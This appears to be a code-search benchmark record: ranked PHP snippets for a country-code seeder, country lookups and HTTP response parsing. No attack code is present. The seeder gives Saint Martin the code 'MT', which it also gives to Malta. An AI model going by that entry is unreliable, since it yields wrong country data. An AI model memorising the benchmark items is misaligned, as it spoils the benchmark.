'MW','iso3166_alpha3' => 'MWI','iso3166_numeric' => '454'),\n array('country' => 'Malaysia','iso3166_alpha2' => 'MY','iso3166_alpha3' => 'MYS','iso3166_numeric' => '458'),\n array('country' => 'Maldives','iso3166_alpha2' => 'MV','iso3166_alpha3' => 'MDV','iso3166_numeric' => '462'),\n array('country' => 'Mali','iso3166_alpha2' => 'ML','iso3166_alpha3' => 'MLI','iso3166_numeric' => '466'),\n array('country' => 'Malta','iso3166_alpha2' => 'MT','iso3166_alpha3' => 'MLT','iso3166_numeric' => '470'),\n array('country' => 'Marshall Islands','iso3166_alpha2' => 'MH','iso3166_alpha3' => 'MHL','iso3166_numeric' => '584'),\n array('country' => 'Martinique','iso3166_alpha2' => 'MQ','iso3166_alpha3' => 'MTQ','iso3166_numeric' => '474'),\n array('country' => 'Mauritania','iso3166_alpha2' => 'MR','iso3166_alpha3' => 'MRT','iso3166_numeric' => '478'),\n array('country' => 'Mauritius','iso3166_alpha2' => 'MU','iso3166_alpha3' => 'MUS','iso3166_numeric' => '480'),\n array('country' => 'Mayotte','iso3166_alpha2' => 'YT','iso3166_alpha3' => 'MYT','iso3166_numeric' => '175'),\n array('country' => 'Mexico','iso3166_alpha2' => 'MX','iso3166_alpha3' => 'MEX','iso3166_numeric' => '484'),\n array('country' => 'Micronesia, Federated States Of','iso3166_alpha2' => 'FM','iso3166_alpha3' => 'FSM','iso3166_numeric' => '583'),\n array('country' => 'Moldova, Republic Of','iso3166_alpha2' => 'MD','iso3166_alpha3' => 'MDA','iso3166_numeric' => '498'),\n array('country' => 'Monaco','iso3166_alpha2' => 'MC','iso3166_alpha3' => 'MCO','iso3166_numeric' => '492'),\n array('country' => 'Mongolia','iso3166_alpha2' => 'MN','iso3166_alpha3' => 'MNG','iso3166_numeric' => '496'),\n array('country' => 'Montenegro','iso3166_alpha2' => 'ME','iso3166_alpha3' => 'MNE','iso3166_numeric' => '499'),\n array('country' => 'Montserrat','iso3166_alpha2' => 'MS','iso3166_alpha3' => 'MSR','iso3166_numeric' => '500'),\n array('country' => 'Morocco','iso3166_alpha2' => 'MA','iso3166_alpha3' => 'MAR','iso3166_numeric' => '504'),\n array('country' => 'Mozambique','iso3166_alpha2' => 'MZ','iso3166_alpha3' => 'MOZ','iso3166_numeric' => '508'),\n array('country' => 'Myanmar','iso3166_alpha2' => 'MM','iso3166_alpha3' => 'MMR','iso3166_numeric' => '104'),\n array('country' => 'Namibia','iso3166_alpha2' => 'NA','iso3166_alpha3' => 'NAM','iso3166_numeric' => '516'),\n array('country' => 'Nauru','iso3166_alpha2' => 'NR','iso3166_alpha3' => 'NRU','iso3166_numeric' => '520'),\n array('country' => 'Nepal','iso3166_alpha2' => 'NP','iso3166_alpha3' => 'NPL','iso3166_numeric' => '524'),\n array('country' => 'Netherlands','iso3166_alpha2' => 'NL','iso3166_alpha3' => 'NLD','iso3166_numeric' => '528'),\n array('country' => 'New Caledonia','iso3166_alpha2' => 'NC','iso3166_alpha3' => 'NCL','iso3166_numeric' => '540'),\n array('country' => 'New Zealand','iso3166_alpha2' => 'NZ','iso3166_alpha3' => 'NZL','iso3166_numeric' => '554'),\n array('country' => 'Nicaragua','iso3166_alpha2' => 'NI','iso3166_alpha3' => 'NIC','iso3166_numeric' => '558'),\n array('country' => 'Niger','iso3166_alpha2' => 'NE','iso3166_alpha3' => 'NER','iso3166_numeric' => '562'),\n array('country' => 'Nigeria','iso3166_alpha2' => 'NG','iso3166_alpha3' => 'NGA','iso3166_numeric' => '566'),\n array('country' => 'Niue','iso3166_alpha2' => 'NU','iso3166_alpha3' => 'NIU','iso3166_numeric' => '570'),\n array('country' => 'Norfolk Island','iso3166_alpha2' => 'NF','iso3166_alpha3' => 'NFK','iso3166_numeric' => '574'),\n array('country' => 'Northern Mariana Islands','iso3166_alpha2' => 'MP','iso3166_alpha3' => 'MNP','iso3166_numeric' => '580'),\n array('country' => 'Norway','iso3166_alpha2' => 'NO','iso3166_alpha3' => 'NOR','iso3166_numeric' => '578'),\n array('country' => 'Oman','iso3166_alpha2' => 'OM','iso3166_alpha3' => 'OMN','iso3166_numeric' => '512'),\n array('country' => 'Pakistan','iso3166_alpha2' => 'PK','iso3166_alpha3' => 'PAK','iso3166_numeric' => '586'),\n array('country' => 'Palau','iso3166_alpha2' => 'PW','iso3166_alpha3' => 'PLW','iso3166_numeric' => '585'),\n array('country' => 'Palestinian Territory, Occupied','iso3166_alpha2' => 'PS','iso3166_alpha3' => 'PSE','iso3166_numeric' => '275'),\n array('country' => 'Panama','iso3166_alpha2' => 'PA','iso3166_alpha3' => 'PAN','iso3166_numeric' => '591'),\n array('country' => 'Papua New Guinea','iso3166_alpha2' => 'PG','iso3166_alpha3' => 'PNG','iso3166_numeric' => '598'),\n array('country' => 'Paraguay','iso3166_alpha2' => 'PY','iso3166_alpha3' => 'PRY','iso3166_numeric' => '600'),\n array('country' => 'Peru','iso3166_alpha2' => 'PE','iso3166_alpha3' => 'PER','iso3166_numeric' => '604'),\n array('country' => 'Philippines','iso3166_alpha2' => 'PH','iso3166_alpha3' => 'PHL','iso3166_numeric' => '608'),\n array('country' => 'Pitcairn','iso3166_alpha2' => 'PN','iso3166_alpha3' => 'PCN','iso3166_numeric' => '612'),\n array('country' => 'Poland','iso3166_alpha2' => 'PL','iso3166_alpha3' => 'POL','iso3166_numeric' => '616'),\n array('country' => 'Portugal','iso3166_alpha2' => 'PT','iso3166_alpha3' => 'PRT','iso3166_numeric' => '620'),\n array('country' => 'Puerto Rico','iso3166_alpha2' => 'PR','iso3166_alpha3' => 'PRI','iso3166_numeric' => '630'),\n array('country' => 'Qatar','iso3166_alpha2' => 'QA','iso3166_alpha3' => 'QAT','iso3166_numeric' => '634'),\n array('country' => 'Reunion','iso3166_alpha2' => 'RE','iso3166_alpha3' => 'REU','iso3166_numeric' => '638'),\n array('country' => 'Romania','iso3166_alpha2' => 'RO','iso3166_alpha3' => 'ROU','iso3166_numeric' => '642'),\n array('country' => 'Russian Federation','iso3166_alpha2' => 'RU','iso3166_alpha3' => 'RUS','iso3166_numeric' => '643'),\n array('country' => 'Rwanda','iso3166_alpha2' => 'RW','iso3166_alpha3' => 'RWA','iso3166_numeric' => '646'),\n array('country' => 'Saint Barthelemy','iso3166_alpha2' => 'BL','iso3166_alpha3' => 'BLM','iso3166_numeric' => '652'),\n array('country' => 'Saint Helena, Ascension And Tristan Da Cunha','iso3166_alpha2' => 'SH','iso3166_alpha3' => 'SHN','iso3166_numeric' => '654'),\n array('country' => 'Saint Kitts And Nevis','iso3166_alpha2' => 'KN','iso3166_alpha3' => 'KNA','iso3166_numeric' => '659'),\n array('country' => 'Saint Lucia','iso3166_alpha2' => 'LC','iso3166_alpha3' => 'LCA','iso3166_numeric' => '662'),\n array('country' => 'Saint Martin (french Part)','iso3166_alpha2' => 'MT','iso3166_alpha3' => 'MAF','iso3166_numeric' => '663'),\n array('country' => 'Saint Pierre And Miquelon','iso3166_alpha2' => 'PM','iso3166_alpha3' => 'SPM','iso3166_numeric' => '666'),\n array('country' => 'Saint Vincent And The Grenadines','iso3166_alpha2' => 'VC','iso3166_alpha3' => 'VCT','iso3166_numeric' => '670'),\n array('country' => 'Samoa','iso3166_alpha2' => 'WS','iso3166_alpha3' => 'WSM','iso3166_numeric' => '882'),\n array('country' => 'San Marino','iso3166_alpha2' => 'SM','iso3166_alpha3' => 'SMR','iso3166_numeric' => '674'),\n array('country' => 'Sao Tome And Principe','iso3166_alpha2' => 'ST','iso3166_alpha3' => 'STP','iso3166_numeric' => '678'),\n array('country' => 'Saudi Arabia','iso3166_alpha2' => 'SA','iso3166_alpha3' => 'SAU','iso3166_numeric' => '682'),\n array('country' => 'Senegal','iso3166_alpha2' => 'SN','iso3166_alpha3' => 'SEN','iso3166_numeric' => '686'),\n array('country' => 'Serbia','iso3166_alpha2' => 'RS','iso3166_alpha3' => 'SRB','iso3166_numeric' => '688'),\n array('country' => 'Seychelles','iso3166_alpha2' => 'SC','iso3166_alpha3' => 'SYC','iso3166_numeric' => '690'),\n array('country' => 'Sierra Leone','iso3166_alpha2' => 'SL','iso3166_alpha3' => 'SLE','iso3166_numeric' => '694'),\n array('country' => 'Singapore','iso3166_alpha2' => 'SG','iso3166_alpha3' => 'SGP','iso3166_numeric' => '702'),\n array('country' => 'Sint Maarten (dutch Part)','iso3166_alpha2' => 'SX','iso3166_alpha3' => 'SXM','iso3166_numeric' => '534'),\n array('country' => 'Slovakia','iso3166_alpha2' => 'SK','iso3166_alpha3' => 'SVK','iso3166_numeric' => '703'),\n array('country' => 'Slovenia','iso3166_alpha2' => 'SI','iso3166_alpha3' => 'SVN','iso3166_numeric' => '705'),\n array('country' => 'Solomon Islands','iso3166_alpha2' => 'SB','iso3166_alpha3' => 'SLB','iso3166_numeric' => '090'),\n array('country' => 'Somalia','iso3166_alpha2' => 'SO','iso3166_alpha3' => 'SOM','iso3166_numeric' => '706'),\n array('country' => 'South Africa','iso3166_alpha2' => 'ZA','iso3166_alpha3' => 'ZAF','iso3166_numeric' => '710'),\n array('country' => 'South Georgia And The South Sandwich Islands','iso3166_alpha2' => 'GS','iso3166_alpha3' => 'SGS','iso3166_numeric' => '239'),\n array('country' => 'South Sudan','iso3166_alpha2' => 'SS','iso3166_alpha3' => 'SSD','iso3166_numeric' => '728'),\n array('country' => 'Spain','iso3166_alpha2' => 'ES','iso3166_alpha3' => 'ESP','iso3166_numeric' => '724'),\n array('country' => 'Sri Lanka','iso3166_alpha2' => 'LK','iso3166_alpha3' => 'LKA','iso3166_numeric' => '144'),\n array('country' => 'Sudan','iso3166_alpha2' => 'SD','iso3166_alpha3' => 'SDN','iso3166_numeric' => '729'),\n array('country' => 'Suriname','iso3166_alpha2' => 'SR','iso3166_alpha3' => 'SUR','iso3166_numeric' => '740'),\n array('country' => 'Svalbard And Jan Mayen','iso3166_alpha2' => 'SJ','iso3166_alpha3' => 'SJM','iso3166_numeric' => '744'),\n array('country' => 'Swaziland','iso3166_alpha2' => 'SZ','iso3166_alpha3' => 'SWZ','iso3166_numeric' => '748'),\n array('country' => 'Sweden','iso3166_alpha2' => 'SE','iso3166_alpha3' => 'SWE','iso3166_numeric' => '752'),\n array('country' => 'Switzerland','iso3166_alpha2' => 'CH','iso3166_alpha3' => 'CHE','iso3166_numeric' => '756'),\n array('country' => 'Syrian Arab Republic','iso3166_alpha2' => 'SY','iso3166_alpha3' => 'SYR','iso3166_numeric' => '760'),\n array('country' => 'Taiwan, Province Of China','iso3166_alpha2' => 'TW','iso3166_alpha3' => 'TWN','iso3166_numeric' => '158'),\n array('country' => 'Tajikistan','iso3166_alpha2' => 'TJ','iso3166_alpha3' => 'TJK','iso3166_numeric' => '762'),\n array('country' => 'Tanzania, United Republic Of','iso3166_alpha2' => 'TZ','iso3166_alpha3' => 'TZA','iso3166_numeric' => '834'),\n array('country' => 'Thailand','iso3166_alpha2' => 'TH','iso3166_alpha3' => 'THA','iso3166_numeric' => '764'),\n array('country' => 'Timor-leste','iso3166_alpha2' => 'TL','iso3166_alpha3' => 'TLS','iso3166_numeric' => '626'),\n array('country' => 'Togo','iso3166_alpha2' => 'TG','iso3166_alpha3' => 'TGO','iso3166_numeric' => '768'),\n array('country' => 'Tokelau','iso3166_alpha2' => 'TK','iso3166_alpha3' => 'TKL','iso3166_numeric' => '772'),\n array('country' => 'Tonga','iso3166_alpha2' => 'TO','iso3166_alpha3' => 'TON','iso3166_numeric' => '776'),\n array('country' => 'Trinidad And Tobago','iso3166_alpha2' => 'TT','iso3166_alpha3' => 'TTO','iso3166_numeric' => '780'),\n array('country' => 'Tunisia','iso3166_alpha2' => 'TN','iso3166_alpha3' => 'TUN','iso3166_numeric' => '788'),\n array('country' => 'Turkey','iso3166_alpha2' => 'TR','iso3166_alpha3' => 'TUR','iso3166_numeric' => '792'),\n array('country' => 'Turkmenistan','iso3166_alpha2' => 'TM','iso3166_alpha3' => 'TKM','iso3166_numeric' => '795'),\n array('country' => 'Turks And Caicos Islands','iso3166_alpha2' => 'TC','iso3166_alpha3' => 'TCA','iso3166_numeric' => '796'),\n array('country' => 'Tuvalu','iso3166_alpha2' => 'TV','iso3166_alpha3' => 'TUV','iso3166_numeric' => '798'),\n array('country' => 'Uganda','iso3166_alpha2' => 'UG','iso3166_alpha3' => 'UGA','iso3166_numeric' => '800'),\n array('country' => 'Ukraine','iso3166_alpha2' => 'UA','iso3166_alpha3' => 'UKR','iso3166_numeric' => '804'),\n array('country' => 'United Arab Emirates','iso3166_alpha2' => 'AE','iso3166_alpha3' => 'ARE','iso3166_numeric' => '784'),\n array('country' => 'United Kingdom','iso3166_alpha2' => 'GB','iso3166_alpha3' => 'GBR','iso3166_numeric' => '826'),\n array('country' => 'United States','iso3166_alpha2' => 'US','iso3166_alpha3' => 'USA','iso3166_numeric' => '840'),\n array('country' => 'United States Minor Outlying Islands','iso3166_alpha2' => 'UM','iso3166_alpha3' => 'UMI','iso3166_numeric' => '581'),\n array('country' => 'Uruguay','iso3166_alpha2' => 'UY','iso3166_alpha3' => 'URY','iso3166_numeric' => '858'),\n array('country' => 'Uzbekistan','iso3166_alpha2' => 'UZ','iso3166_alpha3' => 'UZB','iso3166_numeric' => '860'),\n array('country' => 'Vanuatu','iso3166_alpha2' => 'VU','iso3166_alpha3' => 'VUT','iso3166_numeric' => '548'),\n array('country' => 'Vatican City State (holy See)','iso3166_alpha2' => 'VA','iso3166_alpha3' => 'VAT','iso3166_numeric' => '336'),\n array('country' => 'Venezuela, Bolivarian Republic Of','iso3166_alpha2' => 'VE','iso3166_alpha3' => 'VEN','iso3166_numeric' => '862'),\n array('country' => 'Viet Nam','iso3166_alpha2' => 'VN','iso3166_alpha3' => 'VNM','iso3166_numeric' => '704'),\n array('country' => 'Virgin Islands (british)','iso3166_alpha2' => 'VG','iso3166_alpha3' => 'VGB','iso3166_numeric' => '092'),\n array('country' => 'Virgin Islands (u.s.)','iso3166_alpha2' => 'VI','iso3166_alpha3' => 'VIR','iso3166_numeric' => '850'),\n array('country' => 'Wallis And Futuna','iso3166_alpha2' => 'WF','iso3166_alpha3' => 'WLF','iso3166_numeric' => '876'),\n array('country' => 'Western Sahara','iso3166_alpha2' => 'EH','iso3166_alpha3' => 'ESH','iso3166_numeric' => '732'),\n array('country' => 'Yemen','iso3166_alpha2' => 'YE','iso3166_alpha3' => 'YEM','iso3166_numeric' => '887'),\n array('country' => 'Yugoslavia','iso3166_alpha2' => 'YU','iso3166_alpha3' => 'YUG','iso3166_numeric' => '891'),\n array('country' => 'Zambia','iso3166_alpha2' => 'ZM','iso3166_alpha3' => 'ZMB','iso3166_numeric' => '894'),\n array('country' => 'Zimbabwe','iso3166_alpha2' => 'ZW','iso3166_alpha3' => 'ZWE','iso3166_numeric' => '716')\n );\n\n foreach ($countries as $country) {\n $obj = new \\App\\Country();\n $obj->country = $country['country'];\n $obj->iso3166_alpha2 = $country['iso3166_alpha2'];\n $obj->iso3166_alpha3 = $country['iso3166_alpha3'];\n $obj->iso3166_numeric = $country['iso3166_numeric'];\n $obj->enabled = true;\n $obj->save();\n }\n }", "title": "" }, { "docid": "bd887212115e7b4e885dff44d45c7b3b", "score": "0.50012076", "text": "private function getCountries() {\n\t\t$countryMapper = new Model_CountryMapper();\n\t\treturn $countryMapper->findAllName();\n\t}", "title": "" }, { "docid": "38ae91118f980543543a050d16318785", "score": "0.49896324", "text": "function osc_list_country_code() {\n return osc_field(osc_list_country(), 'country_code', '');\n }", "title": "" }, { "docid": "3b34726cd6d823c0ed36c313c2a17966", "score": "0.49774173", "text": "public static function getActiveEvents()\n {\n $cacheExpireMinutes = 15; // Set the duration time of the cache\n\n $ret = Cache::remember('active_events', $cacheExpireMinutes, function () {\n date_default_timezone_set('Europe/Rome');\n $searchStartDate = date('Y-m-d', time());\n $lastestEventsRepetitionsQuery = EventRepetition::getLastestEventsRepetitionsQuery($searchStartDate, null);\n\n return self::\n select('title', 'countries.name AS country_name', 'countries.id AS country_id', 'countries.continent_id AS continent_id', 'event_venues.city AS city')\n ->join('event_venues', 'event_venues.id', '=', 'events.venue_id')\n ->join('countries', 'countries.id', '=', 'event_venues.country_id')\n ->joinSub($lastestEventsRepetitionsQuery, 'event_repetitions', function ($join) {\n $join->on('events.id', '=', 'event_repetitions.event_id');\n })\n ->get();\n });\n\n return $ret;\n }", "title": "" }, { "docid": "f3560f2e19a7e66b4eb78b50c78de74a", "score": "0.49661326", "text": "function my_give_custom_us_states_list( $states ) {\n\t$states = array(\n 'PA' => 'Pennsylvania',\n 'NY' => 'New York',\n );\n\n\treturn $states;\n}", "title": "" }, { "docid": "c1c36fed0b06c2521a1adac0f80fad5d", "score": "0.4963197", "text": "function tep_get_countries($countries_id = '', $with_iso_codes = false) {\n Global $languages_id;\n $countries_array = array();\n if (tep_not_null($countries_id)) {\n if ($with_iso_codes == true) {\n $countries = tep_db_query(\"select countries_name, countries_iso_code_2, countries_iso_code_3 from \" . TABLE_COUNTRIES . \" where countries_id = '\" . (int)$countries_id . \"' and language_id = '\" .(int)$languages_id. \"' order by countries_name\");\n $countries_values = tep_db_fetch_array($countries);\n $countries_array = array('countries_name' => $countries_values['countries_name'],\n 'countries_iso_code_2' => $countries_values['countries_iso_code_2'],\n 'countries_iso_code_3' => $countries_values['countries_iso_code_3']);\n } else {\n $countries = tep_db_query(\"select countries_name from \" . TABLE_COUNTRIES . \" where countries_id = '\" . (int)$countries_id . \"' and language_id = '\" .(int)$languages_id. \"'\");\n $countries_values = tep_db_fetch_array($countries);\n $countries_array = array('countries_name' => $countries_values['countries_name']);\n }\n } else {\n $countries = tep_db_query(\"select countries_id, countries_name, countries_iso_code_2, countries_iso_code_3 from \" . TABLE_COUNTRIES . \" where language_id = '\" .(int)$languages_id. \"' order by countries_name\");\n while ($countries_values = tep_db_fetch_array($countries)) {\n $countries_array[] = array('countries_id' => $countries_values['countries_id'],\n 'countries_name' => $countries_values['countries_name'],\n\t 'countries_iso_code_2' => $countries_values['countries_iso_code_2']);\n }\n }\n\n return $countries_array;\n}", "title": "" } ]
cbdd85fbbf2b0f17c3212193450e1938
Parse the response into something we can return to the user.
[ { "docid": "8bc9f6e7beadc7db1f74382820f6e681", "score": "0.0", "text": "public function parseResponse(array $response): GroupByQueryResponse\n {\n return new GroupByQueryResponse($response);\n }", "title": "" } ]
[ { "docid": "a7299c1d54b6e475c50647d5e75d1c8e", "score": "0.81157583", "text": "abstract public function parseResponse();", "title": "" }, { "docid": "c8d4a565e40a09447a2e981ced77411d", "score": "0.76623863", "text": "abstract public function parseResponse($response);", "title": "" }, { "docid": "575648884775c990495c02a9a5137fa2", "score": "0.7485422", "text": "private function parseResponse() {\r\n\t\treturn json_decode($this->response, true);\r\n\t}", "title": "" }, { "docid": "d0dd083903cb7137df18599cbb3c1d03", "score": "0.74231213", "text": "function parseResponse() {\n parse_str($this->response);\n\n /* TRANS_ID */\n $this->transId = $TRANS_ID;\n\n /* STATUS */\n $this->status = $STATUS;\n\n /* AVS */\n $this->avsResp = $AVS;\n\n /* CVV2 */\n $this->cvv2Resp = $CVV2;\n\n /* AUTH_CODE */\n $this->authCode = $AUTH_CODE;\n\n /* MESSAGE */\n $this->message = $MESSAGE;\n\n /* REBID */\n $this->rebid = $REBID;\n }", "title": "" }, { "docid": "ed3e19a0fc751e480f4a02bd5ade0b35", "score": "0.72149724", "text": "function parseResponse() {\n list($headers, $body) = explode(\"\\r\\n\\r\\n\", $this->response, 2);\n\n\t// check for HTTP/1.1 100 Continue\n\tif (substr($headers, 0, 12) == \"HTTP/1.1 100\") {\n\t list($headers, $body) = explode(\"\\r\\n\\r\\n\", $body, 2);\n\t}\n\n $header_lines = explode(\"\\r\\n\", $headers);\n\n // First line of headers is the HTTP response code\n $this->http_response_line = array_shift($header_lines);\n if (preg_match('@^HTTP/[0-9]\\.[0-9] ([0-9]{3})@', $this->http_response_line, $matches)) {\n $this->code = $matches[1];\n }\n\n // put the rest of the headers in an array\n $this->headers = array();\n foreach($header_lines as $header_line) {\n list($header, $value) = explode(': ', $header_line, 2);\n $this->headers[strtolower($header)] = $value;\n }\n\n $this->body = $body;\n }", "title": "" }, { "docid": "ab24c9fe1b3655edccf86efdc0a63e6c", "score": "0.7110595", "text": "final protected function processResponse() {\r\n\t\tswitch($this->response_type) {\r\n\t\t\tcase self::RESPONSE_TEXT:\r\n\t\t\t\treturn $this->processResponseText($this->response);\r\n\t\t\tcase self::RESPONSE_PAGE:\r\n\t\t\t\treturn $this->processResponsePage($this->response);\r\n\t\t\tcase self::RESPONSE_JSON:\r\n\t\t\t\treturn $this->processResponseJson($this->response);\r\n\t\t\tcase self::RESPONSE_REDIR:\r\n\t\t\t\treturn $this->processResponseRedirect($this->response);\r\n\t\t\tcase self::RESPONSE_CONTENT:\r\n\t\t\t\treturn $this->processResponseContent($this->response);\r\n\t\t}\r\n\t\treturn $this->response;\r\n\t}", "title": "" }, { "docid": "9bb323c975fdbbcd84abe663bab219c7", "score": "0.707995", "text": "private function _parse($response) \n\t{\n\t\t$parsed = str_replace(\"\\r\\n\", \"\\n\", $response);\n\n\t\tlist($headers, $body) = explode(\"\\n\\n\", $parsed, 2);\n\n\t\t$headers = new HeaderList($headers);\n\n\t\t$this->code = $headers->getResponseCode();\n\t\t$this->headers = $headers->to_a();\n\t\t$this->body = $body;\n\t}", "title": "" }, { "docid": "2c20ef4248f799bb063f746ab7e22ff3", "score": "0.70747125", "text": "public function parseResponse( $response )\n {\n if( $response === FALSE )\n {\n $this->flashMessenger->addMessage(array('error'=> 'There was a problem while contacting the payment gateway. Please try again.'));;\n return FALSE;\n }\n elseif( $response->error ==1 )\n {\n $this->flashMessenger->addMessage(array('error'=>$response->response_reason_text));;\n return FALSE;\n }\n else if($response->approved ==1 )\n {\n return TRUE;\n }\n $this->flashMessenger->addMessage(array('error'=> 'Received an unknown response from the payment gateway. Please try again.'));;\n return FALSE;\n }", "title": "" }, { "docid": "700b05261a73262cd8e3a76792fdba33", "score": "0.6970328", "text": "function vcita_parse_response($response) {\n $success = false;\n $raw_data = \"Unknown error\";\n \n if (is_wp_error($response)) {\n $raw_data = $response->get_error_message();\n \n } elseif (!empty($response['response'])) {\n if ($response['response']['code'] != 200) {\n $raw_data = $response['response']['message'];\n } else {\n $success = true;\n $raw_data = $response['body'];\n }\n }\n \n return compact('raw_data', 'success');\n}", "title": "" }, { "docid": "8210f3f9ee498d9395b17bbc1fa7b414", "score": "0.69059324", "text": "private function parse_response($response)\n\t{\n\t\t\n\t\t$results = explode('&',urldecode($response));\n\t\tforeach($results as $result)\n\t\t{\n\t\t\tlist($key, $value) = explode('=', $result);\n\t\t\t$response_array[$key]=$value;\n\t\t}\n\t\t\n\t\t$return_object = array();\n\t\t\n\t\t//Set the response status\n\t\t\n\t\t($response_array['ACK'] == 'Success' ? $success = TRUE : $failure = TRUE );\n\n\t\tif(isset($failure)){\n\t\t\t$return_object[] = array('status'=>'failure') + array('response'=>$response_array['L_LONGMESSAGE0']);\n\t\t}\n\t\tif(isset($success)){\n\t\t\t$return_object[] = array('status'=>'success') + array('response'=>$response_array);\n\t\t}\n\t\t\n\t\treturn (object) $return_object[0];\n\t\t\n\t}", "title": "" }, { "docid": "144089c2e1ae6debaa540d850adf91d2", "score": "0.6881535", "text": "public function getResponseParser()\n {\n }", "title": "" }, { "docid": "85ae36d7c3316de3925020f80e99a67e", "score": "0.682444", "text": "public function parseResponse($message);", "title": "" }, { "docid": "ca3a5a1d6d5e731e50e0370c4632eb15", "score": "0.6753287", "text": "public function parseResponse($response)\n\t{\n\t\treturn unserialize($response);\n\t}", "title": "" }, { "docid": "cdb54e24a21eb22d911bc7c21921f9e6", "score": "0.67356694", "text": "function parseResponse()\n {\n parse_str($this->response, $array);\n foreach($array AS $key => $value)\n {\n $key = str_replace('amp;', '', $key);\n $array2[$key] = $value;\n }\n return $array2;\n }", "title": "" }, { "docid": "e31754530f51a8b4ec72d0dc8bbf042f", "score": "0.672945", "text": "public function parseResponse()\n {\n list($headers, $this->responseBody) = explode(self::EOL2, $this->response, 2);\n\n if (!$headers && !$this->responseBody) {\n throw new \\RuntimeException('Invalid HTTP Response: empty Headers and Body.');\n }\n \n $headersLines = explode(self::EOL, $headers);\n $this->responseHeaders = array();\n\n foreach ($headersLines as $i => $headerLine) {\n if (0 == $i) {\n list(/*$protocol*/, $this->responseCode, $this->responseStatus) =\n explode(self::SPACE, $headerLine, 3);\n \n if (!$this->responseCode || !$this->responseStatus) {\n throw new \\RuntimeException('Invalid HTTP Response: unknown Status Code and or Message.');\n }\n \n continue;\n }\n\n list($name, $value) = explode(':', $headerLine, 2);\n $this->responseHeaders[trim($name)] = trim($value);\n }\n }", "title": "" }, { "docid": "0ed9b66c641eb053edc7182f01d99e13", "score": "0.6701096", "text": "private function parse_response($s_response = NULL) {\n\t\t\t\n\t\t\t$b_err = FALSE;\n\t\t\t\n\t\t\t// require response\n\t\t\tif (empty($s_response)) {\n\t\t\t\t$this -> s_error_msg = '[Error:10003] Server did not respond.'.\"\\n\".$this -> s_error_msg;\n\t\t\t\t$b_err = TRUE;\n\t\t\t}\n\t\t\t\n\t\t\t// split headers and content\n\t\t\t$a_response = explode(\"\\r\\n\\r\\n\", trim($s_response));\n\t\t\tif (!is_array($a_response) || count($a_response) < 2) {\n\t\t\t\t$b_err = TRUE;\n\t\t\t}\n\t\t\t$s_header = $a_response[count($a_response) - 2];\n\t\t\t$s_body = trim($a_response[count($a_response) - 1]);\n\t\t\t$a_headers = explode(\"\\n\", $s_header);\n\t\t\tunset($a_response);\n\t\t\tunset($s_header);\n\t\t\t\n\t\t\t// verify headers\n\t\t\t$b_err = !$this -> verify_response($a_headers);\n\t\t\t\n\t\t\t// abort\n\t\t\tif ($b_err) {\n\t\t\t\techo $this -> s_error_msg;\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\t\n\t\t\t// success\n\t\t\treturn $s_body;\n\t\t}", "title": "" }, { "docid": "543d557372065ec58948459857c41eb3", "score": "0.6694387", "text": "private function parse_response() {\n\t\t$xml_object = simplexml_load_string($this->feed_response, 'SimpleXMLElement', LIBXML_NOCDATA);\n\n\t\t$xml_array = json_decode(json_encode($xml_object), TRUE);\n\n\t\t$this->response['response']['language'] = $xml_array['channel']['language'] ? $xml_array['channel']['language'] : \"\";\n\n\t\tforeach($xml_array['channel']['item'] as $entry) {\n\t\t\t$curr_entry = array();\n\t\t\t$curr_entry['date'] = date(\"F d, Y\", strtotime($entry['pubDate']));\n\t\t\t$curr_entry['title'] = $entry['title'];\n\t\t\t$curr_entry['excerpt'] = $entry['description'];\n\t\t\t$this->response['response']['item'][] = $curr_entry;\n\t\t}\n\t\t$this->respond(200);\n\t}", "title": "" }, { "docid": "a21529b4f1c2aaab782c01aaeae4199d", "score": "0.66827893", "text": "public function parse($response)\n\t{\n\t\tif ( ! isset($this->parser[$this->format]))\n\t\t{\n\t\t\t// No parser for the requested format\n\t\t\treturn $response;\n\t\t}\n\n\t\t// Get the parser for this format\n\t\t$parser = $this->parser[$this->format];\n\n\t\t// Parse the response\n\t\treturn $parser($response);\n\t}", "title": "" }, { "docid": "3025f903c5d28dd1ce208fc31368a88d", "score": "0.667627", "text": "function parseResponse($response){\r\n // This might look weird but it needs to be mb safe.\r\n $fp = fopen(\"php://memory\", 'r+');\r\n fputs($fp, $response);\r\n rewind($fp);\r\n\r\n $line = fgets($fp);\r\n while(preg_match('/connection established/i', $line)){\r\n $line = fgets($fp);\r\n $line = fgets($fp);\r\n }\r\n if(preg_match('/^HTTP\\/\\d\\.\\d (\\d{3}) /', $line, $m)) $this->status = $m[1];\r\n\r\n while($line = fgets($fp)){\r\n if(!preg_match('/^(.*?): ?(.*)/', $line, $m)) break;\r\n $this->headers[$m[1]] = trim($m[2]);\r\n }\r\n\r\n $this->html = $this->body = stream_get_contents($fp);\r\n fclose($fp);\r\n }", "title": "" }, { "docid": "edf3d4bb995e3b1cb8ce079855e804e5", "score": "0.6579312", "text": "protected function http_parse_response($response) {\n $retVal = array();\n $fields = explode(\"\\r\\n\", preg_replace('/\\x0D\\x0A[\\x09\\x20]+/', ' ', $response));\n foreach ($fields as $field) {\n\n // Do not process empty cubrid_num_fields(result)\n if (empty($field)) {\n continue;\n }\n\n if (preg_match('/([^:]+): (.+)/m', $field, $match)) {\n $match[1] = preg_replace('/(?<=^|[\\x09\\x20\\x2D])./e', 'strtoupper(\"\\0\")', strtolower(trim($match[1])));\n if( isset($retVal[$match[1]]) ) {\n if (!is_array($retVal[$match[1]])) {\n $retVal[$match[1]] = array($retVal[$match[1]]);\n }\n $retVal[$match[1]][] = $match[2];\n }\n else {\n $retVal[$match[1]] = trim($match[2]);\n }\n }\n else {\n if (preg_match('/HTTP\\//', $field)) {\n // Following HTTP standards which are space-separated\n preg_match('/(.*?) (.*?) (.*)/', $field, $matches);\n $retVal['HTTP']['version'] = $matches[1];\n $retVal['HTTP']['code'] = $matches[2];\n $retVal['HTTP']['reason'] = $matches[3];\n }\n else {\n $retVal['Content'] = $field;\n }\n }\n }\n return $retVal;\n }", "title": "" }, { "docid": "d6498264e9ebea7d7d5d6b35bd01caa0", "score": "0.65521884", "text": "private function parse_response( $response ) {\n\t\t$body = wp_remote_retrieve_body( $response );\n\t\t$decoded = json_decode( $body, true );\n\n\t\tif ( json_last_error() ) {\n\t\t\tthrow new Exception( 'Error while decoding response: ' . json_last_error() );\n\t\t}\n\n\t\tif ( ! empty( $decoded['error'] ) ) {\n\t\t\tthrow new Exception( $decoded['error'] );\n\t\t}\n\n\t\treturn $decoded;\n\t}", "title": "" }, { "docid": "f410a6efd3c10ab2c9f469ac760e22f2", "score": "0.6519958", "text": "protected function process()\n {\n if 